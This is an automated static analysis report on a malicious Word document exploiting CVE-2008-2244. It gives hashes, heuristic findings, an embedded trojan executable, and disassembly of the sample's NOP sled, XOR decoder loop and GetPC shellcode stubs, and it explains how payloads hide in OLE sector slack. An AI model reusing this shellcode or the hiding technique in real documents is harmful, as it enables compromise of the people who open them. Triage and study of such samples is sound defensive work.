Malicious Office (OLE) / .DOC — malware analysis report

Static analysis result for SHA-256 74253311a6409509…

MALICIOUS

Office (OLE) / .DOC

55.8 KB Created: 2007-12-03 01:19:00 Authoring application: Microsoft Word 9.0 First seen: 2026-05-16
MD5: eb91fdfe0c817f30fca0a41e405b3a35 SHA-1: dc63799e23bf0c74eb8cfc705a5a8578cb1725e7 SHA-256: 74253311a6409509f7539170603290f9420912112beb85b6fb677f3c575171bd
500 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution

The sample is a Microsoft Word document that exploits CVE-2008-2244, a vulnerability in record parsing. It contains an embedded PE executable, identified by ClamAV as Win.Trojan.Packed-74. The document body is heavily obfuscated and appears to contain shellcode-like structures, suggesting it's designed to download and execute a secondary payload.

Heuristics 11

  • CVE-2008-2244 — Microsoft Word record-parsing payload critical CVE likely CVE_2008_2244
    Word OLE document has normal small WordDocument/table streams, a large unallocated OLE slack region, and an executable or resolver shellcode payload in that slack. This is the static shape of the MS08-042 Word record-parsing exploit family tracked as CVE-2008-2244.
  • ClamAV: Win.Trojan.Packed-74 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.Packed-74
  • Embedded PE executable critical OLE_EMBEDDED_EXE
    MZ/PE header found inside document — possible embedded executable
  • NOP sled detected high SC_NOP_SLED
    Found 20+ consecutive 0x90 bytes
    Disassembly
    x86 disassembly · validity: uncertain (0.663) — no internal branches to corroborate control flow
    00001900  90                nop
    00001901  90                nop
    00001902  90                nop
    00001903  90                nop
    00001904  90                nop
    00001905  90                nop
    00001906  90                nop
    00001907  90                nop
    00001908  90                nop
    00001909  90                nop
    0000190A  90                nop
    0000190B  90                nop
    0000190C  90                nop
    0000190D  90                nop
    0000190E  90                nop
    0000190F  90                nop
    00001910  90                nop
    00001911  90                nop
    00001912  90                nop
    00001913  90                nop
    00001914  90                nop
    00001915  90                nop
    00001916  90                nop
    00001917  90                nop
    00001918  90                nop
    00001919  90                nop
    0000191A  90                nop
    0000191B  90                nop
    0000191C  90                nop
    0000191D  90                nop
    0000191E  90                nop
    0000191F  90                nop
    00001920  57                push edi
    00001921  5b                pop ebx
    00001922  81ebf0150000      sub ebx, 0x15f0
    00001928  8bd3              mov edx, ebx
    0000192A  4a                dec edx
    0000192B  33c9              xor ecx, ecx
    0000192D  b9a7030000        mov ecx, 0x3a7
    00001932  80340a98          xor byte ptr [edx + ecx], 0x98
    00001936  e2fa              loop 0x1932
    00001938  19749899          sbb dword ptr [eax + ebx*4 - 0x67], esi
    0000193C  98                cwde
    0000193D  98                cwde
    0000193E  13741b5d          adc esi, dword ptr [ebx + ebx + 0x5d]
    00001942  9c                pushfd
    00001943  1317              adc edx, dword ptr [edi]
    00001945  50                push eax
    00001946  9a989811d5c013    lcall 0x13c0, 0xd5119898
    0000194D  17                pop ss
    0000194E  209a989811d5      and byte ptr [edx - 0x2aee6768], bl
    00001954  cc                int3
    00001955  195f40            sbb dword ptr [edi + 0x40], ebx
    00001958  99                cdq
    00001959  98                cwde
    0000195A  98                cwde
    0000195B  135711            adc edx, dword ptr [edi + 0x11]
    0000195E  d5f8              aad 0xf8
  • x86 GetPC stub (CALL $+5; POP EAX) high SC_GETPC_CALL
    x86 GetPC stub (CALL $+5; POP EAX)
    Disassembly
    x86 disassembly · validity: uncertain (0.5) — 8/8 branch targets land on an instruction boundary (100% coherence)
    00007EC2  e800000000        call 0x7ec7
    00007EC7  58                pop eax
    00007EC8  eb00              jmp 0x7eca
    00007ECA  58                pop eax
    00007ECB  50                push eax
    00007ECC  e800000000        call 0x7ed1
    00007ED1  58                pop eax
    00007ED2  0f8504362330      jne 0x3023b4dc
    00007ED8  e800000000        call 0x7edd
    00007EDD  83042405          add dword ptr [esp], 5
    00007EE1  c3                ret
    00007EE2  58                pop eax
    00007EE3  50                push eax
    00007EE4  58                pop eax
    00007EE5  50                push eax
    00007EE6  8078f56a          cmp byte ptr [eax - 0xb], 0x6a
    00007EEA  60                pushal
    00007EEB  61                popal
    00007EEC  94                xchg esp, eax
    00007EED  94                xchg esp, eax
    00007EEE  0f852d3f8145      jne 0x4581be21
    00007EF4  6818604000        push 0x406018
    00007EF9  91                xchg ecx, eax
    00007EFA  91                xchg ecx, eax
    00007EFB  e800000000        call 0x7f00
    00007F00  83042405          add dword ptr [esp], 5
    00007F04  c3                ret
    00007F05  90                nop
    00007F06  e800000000        call 0x7f0b
    00007F0B  58                pop eax
    00007F0C  54                push esp
    00007F0D  58                pop eax
    00007F0E  e800000000        call 0x7f13
    00007F13  58                pop eax
    00007F14  c3                ret
    00007F15  68a9c04000        push 0x40c0a9
    00007F1A  e800000000        call 0x7f1f
    00007F1F  83                .byte 0x83
    00007F20  0424              add al, 0x24
  • Reference to LoadLibrary API high SC_STR_LOADLIBRARY
    Reference to LoadLibrary API
  • Reference to GetProcAddress API high SC_STR_GETPROCADDRESS
    Reference to GetProcAddress API
  • OLE document has large unaccounted-for region high OLE_SLACK_ANOMALY
    OLE file is 57,129 bytes but its declared streams total only 16,486 bytes — 40,643 bytes (71%) live in unallocated sector slack. This is the canonical hiding place for pre-macro-era Office exploit payloads (XOR-encoded shellcode reached via a parser pointer-corruption bug in the document structure).
  • Reference to VirtualAlloc API medium SC_STR_VIRTUALALLOC
    Reference to VirtualAlloc API
  • Reference to VirtualProtect API medium SC_STR_VIRTUALPROTECT
    Reference to VirtualProtect API
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
embedded_office_00004c00.exe embedded-pe Office MZ+PE at offset 0x4C00 37673 bytes
SHA-256: 1a01b46ddf86fdd371b250763a42abc1ee8927c08b94f0115ebee7a942f77dfc
Detection
ClamAV: Win.Trojan.Packed-74
Obfuscation or payload: likely
Static shellcode analysis found candidate code region(s). Indicators: SC_STR_LOADLIBRARY, SC_GETPC_CALL, SC_GETPC_CALL Static shellcode analysis recovered API/import strings: kernel32.dll, KERNEL32.DLL, LoadLibraryA, GetProcAddress, VirtualAlloc, VirtualProtect